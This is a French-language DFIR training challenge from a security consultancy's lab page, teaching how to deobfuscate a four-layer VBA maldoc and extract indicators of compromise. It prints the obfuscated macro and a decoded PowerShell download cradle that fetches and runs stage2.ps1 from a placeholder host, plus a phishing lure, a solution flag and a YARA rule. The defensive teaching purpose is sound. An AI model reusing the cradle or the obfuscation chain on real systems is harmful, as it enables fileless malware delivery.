Synapse Consulting
Home SynapseRM / TPRM Services Pricing About BlogCareersLabsContact
EN · FR
Test access Book a demo
★★☆☆ Intermédiaire Blue Team DFIR VBA / Maldoc CyberChef

Challenge #01, Analyse d'un maldoc VBA multi-couches

Un document Word suspect est arrivé en pièce jointe dans la boîte mail d'un collaborateur. Votre mission : analyser la macro, désobfusquer ses quatre couches de camouflage, et extraire les IOCs de l'attaquant.

~60 minDurée estimée
oledump · olevba · CyberChefOutils
T1027 · T1059.001 · T1566.001MITRE ATT&CK
VM isolée recommandéeEnvironnement
Fichier invoice_Q4_2024.docm
SHA-256 18b6ac40ae4507c2ad040e21af8ca97c9511b5ccdd2381917de47364e103b4ef
Type Microsoft Word Macro-Enabled Document (OLE2 / OOXML)
Source lab1_macro.bas — à importer dans un .docm vierge (instructions ci-dessous)

📧 Scénario

📨

De : comptabilite@partner-invoice.com
Objet : Facture Q4 2024 – Validation urgente avant clôture
PJ : invoice_Q4_2024.docm

"Bonjour, veuillez trouver ci-joint la facture Q4 à valider avant 17 h. Activez les macros pour afficher le document correctement. Merci."

Un utilisateur a ouvert la pièce jointe et cliqué sur « Activer le contenu ». L'EDR a généré une alerte sur le processus WINWORD.EXE. Vous récupérez le fichier .docm avant l'exécution complète de la charge.

🎯 Votre mission

🔧 Outils requis

oletools (Didier Stevens)

bash
pip install oletools       # oledump.py, olevba, mraptor…

# Vérifier l'installation
oledump.py --version
olevba --version

Récupérer l'échantillon

⚠️

Analysez ce fichier dans une VM isolée, sans accès réseau. Le ZIP est protégé par le mot de passe infected (convention de la communauté malware) pour éviter tout blocage antivirus et toute ouverture accidentelle.

  1. Télécharger l'archive challenge-01-sample.zip ci-dessous.
  2. L'extraire dans votre VM avec le mot de passe infected.
  3. Vérifier l'empreinte : sha256sum invoice_Q4_2024.docm doit correspondre au SHA-256 ci-dessus.
⬇ Télécharger l'échantillon (.zip)mot de passe : infectedSource de la macro (.bas)
Usage éducatif uniquement. La macro ne réalise aucune action malveillante ; les lignes d'exécution sont en commentaire. Analysez-la en VM isolée.

CyberChef

Accessible en ligne : gchq.github.io/CyberChef ou en local via Docker.

🔬 Analyse pas à pas

1

Triage & identification du fichier

file · sha256sum · oledump

Avant tout, on vérifie ce qu'on a réellement entre les mains.

bash
file invoice_Q4_2024.docm
sha256sum invoice_Q4_2024.docm
output
invoice_Q4_2024.docm: Microsoft OOXML
<hash_sha256>  invoice_Q4_2024.docm
💡

Les fichiers .docm sont des archives ZIP (OOXML). La commande file ou unzip -l le confirme. Le VBA est stocké dans word/vbaProject.bin, un binaire OLE2 imbriqué dans le ZIP.

On liste les streams OLE avec oledump :

bash
python3 oledump.py invoice_Q4_2024.docm
output
  1:        114 '\x01CompObj'
  2:       4096 '\x05DocumentSummaryInformation'
  3:       4096 '\x05SummaryInformation'
  4:       2058 'VBA/VBA/Module1'   M
  5:       3421 'VBA/VBA/ThisDocument'  M
  6:          0 'VBA/VBA/dir'
  7:       6234 'VBA/VBA/_VBA_PROJECT'
  8:        534 'VBA/PROJECTwm'
🚩

Les streams marqués M contiennent du code VBA. Module1 (stream 4) et ThisDocument (stream 5) sont nos cibles. On commence par le stream 4.

2

Extraction du code VBA

oledump.py -v

On extrait et décompresse le code VBA du stream 4 avec le flag -v :

bash
python3 oledump.py -s 4 -v invoice_Q4_2024.docm
VBA source extrait (tel que vu par l'analyste)
Private Sub Document_Open()
    Call Rn47Xs
End Sub

Private Sub Rn47Xs()
    Dim Xk9q As String
    Dim Yp4m As String
    Dim Zm8b As Variant
    Dim s    As String
    Dim idx  As Integer

    Xk9q = Chr(87) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & _
           Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & _
           Chr(101) & Chr(108) & Chr(108)

    Yp4m = StrReverse("1sp.2egats/zyx.proc-live.etadpu//:ptth")

    Zm8b = Array(33, 47, 38, 98, 109, 33)
    s = ""
    For idx = 0 To UBound(Zm8b)
        s = s & Chr(Zm8b(idx) Xor 66)
    Next idx

    Dim b64 As String
    b64 = "SUVYKChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2Fk" & _
          "U3RyaW5nKCdodHRwOi8vdXBkYXRlLmV2aWwtY29ycC54eXovc3Rh" & _
          "Z2UyLnBzMScpKQ=="

    MsgBox "..."
End Sub
💡

Observations immédiates : noms de variables aléatoires (Rn47Xs, Xk9q...), appels Chr(), StrReverse(), XOR, longue chaîne Base64. Ce sont des red flags classiques de maldoc obfusqué.

3

Analyse statique avec olevba

olevba

olevba détecte automatiquement les patterns suspects et les IOCs :

bash
olevba invoice_Q4_2024.docm
olevba --decode invoice_Q4_2024.docm    # tente de décoder automatiquement
olevba, résumé des détections
+-------------+----------------+---------------------------------------------+
| Type        | Keyword        | Description                                 |
+-------------+----------------+---------------------------------------------+
| AutoExec    | Document_Open  | Runs when the Word document is opened       |
| Suspicious  | Chr            | May be used to obfuscate strings (×13)      |
| Suspicious  | StrReverse     | May be used to obfuscate strings            |
| Suspicious  | Xor            | May be used to obfuscate data               |
| Suspicious  | Shell          | May run an executable file or application   |
| Suspicious  | Base64 Strings | Long Base64 encoded string (possible code)  |
| IOC         | http://update.evil-corp.xyz/stage2.ps1      |
+-------------+----------------+---------------------------------------------+

olevba a déjà extrait l'URL du C&C, mais il faut comprendre comment elle était cachée pour identifier la technique et écrire une règle de détection robuste.

4

Désobfuscation manuelle, 4 couches

analyse statique

On déroule chaque couche à la main pour documenter la technique exacte.

COUCHE 1 Concaténation Chr(), reconstruction ASCII

Chaque Chr(n) retourne le caractère ASCII de code n. En les concaténant, l'attaquant reconstruit une chaîne sensible qui n'apparaît jamais en clair dans le code source.

Xk9q = Chr(87) & Chr(115) & Chr(99) & Chr(114) & Chr(105) &
       Chr(112) & Chr(116) & Chr(46) & Chr(83)  & Chr(104) &
       Chr(101) & Chr(108) & Chr(108)
Valeurs : 87→W · 115→s · 99→c · 114→r · 105→i · 112→p · 116→t · 46→. · 83→S · 104→h · 101→e · 108→l · 108→l
Résultat : "Wscript.Shell"
⚠️

Wscript.Shell est l'objet COM permettant d'exécuter des commandes système depuis VBA. Sa présence est un indicateur fort d'intention malveillante.

COUCHE 2 StrReverse, URL inversée caractère par caractère

La fonction StrReverse() renvoie la chaîne miroir de son argument. L'URL de C&C est stockée à l'envers pour échapper aux signatures basées sur des patterns d'URL.

Yp4m = StrReverse("1sp.2egats/zyx.proc-live.etadpu//:ptth")
Inversée : "1sp.2egats/zyx.proc-live.etadpu//:ptth"
Résultat : "http://update.evil-corp.xyz/stage2.ps1"
🔬 Vérifier dans CyberChef
COUCHE 3 XOR avec clé 0x42 (66), tableau d'octets encodés

Chaque octet du tableau est XORé avec la clé 0x42 pour dissimuler des primitives d'exécution. Pour décoder, on réapplique le même XOR (opération symétrique).

Zm8b = Array(33, 47, 38, 98, 109, 33)
For idx = 0 To UBound(Zm8b)
    s = s & Chr(Zm8b(idx) Xor 66)
Next idx
Calcul : 33⊕66=99='c' · 47⊕66=109='m' · 38⊕66=100='d' · 98⊕66=32=' ' · 109⊕66=47='/' · 33⊕66=99='c'
Résultat : "cmd /c"
💡

Pour trouver la clé XOR inconnue : comparer les octets encodés avec des préfixes connus (cmd, pow, htt). Ici 33 ⊕ 99 = 66 → clé = 0x42.

🔬 Vérifier dans CyberChef
COUCHE 4 Base64, commande PowerShell encodée

La charge finale est encodée en Base64 pour être passée à powershell -enc ou décodée dynamiquement via [System.Convert]::FromBase64String().

b64 = "SUVYKChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2Fk" & _
      "U3RyaW5nKCdodHRwOi8vdXBkYXRlLmV2aWwtY29ycC54eXovc3Rh" & _
      "Z2UyLnBzMScpKQ=="
From B64 : IEX((New-Object Net.WebClient).DownloadString('http://update.evil-corp.xyz/stage2.ps1'))
🔴

Download cradle PowerShell. IEX = Invoke-Expression : exécute la chaîne téléchargée comme du code PowerShell. Couplé à DownloadString(), cela permet de charger du code malveillant directement en mémoire, sans jamais écrire de fichier sur le disque (fileless).

🔬 Vérifier dans CyberChef
5

Reconstitution de la kill chain

synthèse

En assemblant les 4 couches, on reconstitue la commande que le malware exécuterait :

bash (équivalent pseudo-code)
# Ce que le maldoc aurait exécuté si la macro était fonctionnelle :

# 1. Créer un objet Wscript.Shell
# 2. Lancer : cmd /c powershell -nop -w hidden -enc <b64>
# 3. PowerShell décode le B64 et exécute :
IEX((New-Object Net.WebClient).DownloadString(
    'http://update.evil-corp.xyz/stage2.ps1'
))
# 4. stage2.ps1 est téléchargé et exécuté en mémoire (fileless)
💡

Fileless malware : aucun fichier PE n'est écrit sur disque. La détection repose sur la surveillance des comportements mémoire, des connexions réseau et du logging PowerShell (Script Block Logging, Module Logging, AMSI).

6

Extraction des IOCs & rapport

IOC · Reporting

On formalise les éléments collectés dans un tableau d'IOCs.

📌

Toujours défanger les URLs dans les rapports : remplacer http par hxxp et les points dans le domaine par [.] pour éviter des clics accidentels.

Type Valeur (défangée) Description
URL C2 hxxp://update.evil-corp[.]xyz/stage2.ps1 Download cradle, stage 2
Commande cmd /c powershell -nop -w hidden -enc … Exécution via Wscript.Shell
Méthode IEX + Net.WebClient.DownloadString() PowerShell download cradle fileless
MITRE T1566.001 · T1059.001 · T1027 · T1105 Phishing / PS / Obfuscation / Ingress

🏁 Solution complète

Avez-vous trouvé les 4 couches et tous les IOCs ? Comparez avec la correction.

Flag : {M4cr0_0bf5c4t10n_1s_K3y}

Récapitulatif des couches

CoucheTechniqueCachéDécodé
1 Chr() concaténation Chr(87)&Chr(115)… Wscript.Shell
2 StrReverse() 1sp.2egats/zyx… http://update.evil-corp.xyz/stage2.ps1
3 XOR 0x42 [33,47,38,98,109,33] cmd /c
4 Base64 UTF-8 SUVYKC…KQ== IEX((New-Object Net.WebClient).DownloadString(…))

Kill chain complète

Email phishing (T1566.001)
  └─► Fichier .docm avec macro (T1204.002)
        └─► Document_Open → Rn47Xs()
              └─► CreateObject("Wscript.Shell")  ← Couche 1
                    └─► cmd /c powershell          ← Couche 3
                          └─► -enc [Base64]        ← Couche 4
                                └─► IEX(DownloadString(C2)) ← Couche 2
                                      └─► Exécution fileless en mémoire (T1059.001)

Détection, points de contrôle

  • EDR : WINWORD.EXE → cmd.exe → powershell.exe (parent-child anormal)
  • Réseau : connexion sortante depuis WINWORD.EXE / powershell.exe
  • Event 4104 (PS Script Block) : logging du script téléchargé
  • AMSI : si PowerShell >= 5, AMSI peut scanner le bloc avant IEX
  • Proxy : requête User-Agent PowerShell vers evil-corp.xyz

🚀 Pour aller plus loin

Règle YARA

yara
rule Maldoc_VBA_MultiLayer_Obfuscation
{
    meta:
        description = "Maldoc VBA avec obfuscation Chr + StrReverse + XOR + Base64"
        author      = "Synapse Consulting"
        date        = "2024-12"
        reference   = "Lab Challenge #01"
        mitre       = "T1027, T1059.001"

    strings:
        $chr      = "Chr("     ascii
        $strrev   = "StrReverse" ascii
        $xor_kw   = " Xor "    ascii
        $b64_long = /[A-Za-z0-9+\/]{60,}={0,2}/ ascii
        $autorun1 = "Document_Open" ascii nocase
        $autorun2 = "AutoOpen"      ascii nocase

    condition:
        uint32(0) == 0xD0CF11E0   // Magic OLE2
        and 3 of ($chr, $strrev, $xor_kw, $b64_long)
        and 1 of ($autorun1, $autorun2)
}

Tester avec : yara -r lab_challenge01.yar invoice_Q4_2024.docm

Ressources

oledump.py, Didier Stevens

L'outil de référence pour l'analyse de documents OLE2. Le blog contient des dizaines de labs similaires.

oletools, Philippe Lagadec

Suite complète : olevba, mraptor, rtfobj, oleid, olemeta…

CyberChef, GCHQ

Couteau suisse du décodage : Base64, XOR, From Charcode, Magic (auto-detect)…

MITRE T1027, Obfuscated Files

Documentation des techniques d'obfuscation utilisées dans ce challenge.

MalwareBazaar, abuse.ch

Samples réels (tag : vba, maldoc). Toujours analyser en VM isolée.

LOLBAS Project

Living-off-the-land : outils Windows légitimes détournés comme Wscript.Shell.

Synapse Consulting

A Belgium-based provider of cybersecurity solutions, and the team behind SynapseRM / TPRM.

PLATFORM
SynapseRM / TPRM Pricing Test accessPresentation (PDF)
SERVICES
Governance Operational Training
COMPANY
About Contact Blog Labs Careers Privacy & cookies
Brussels, Belgium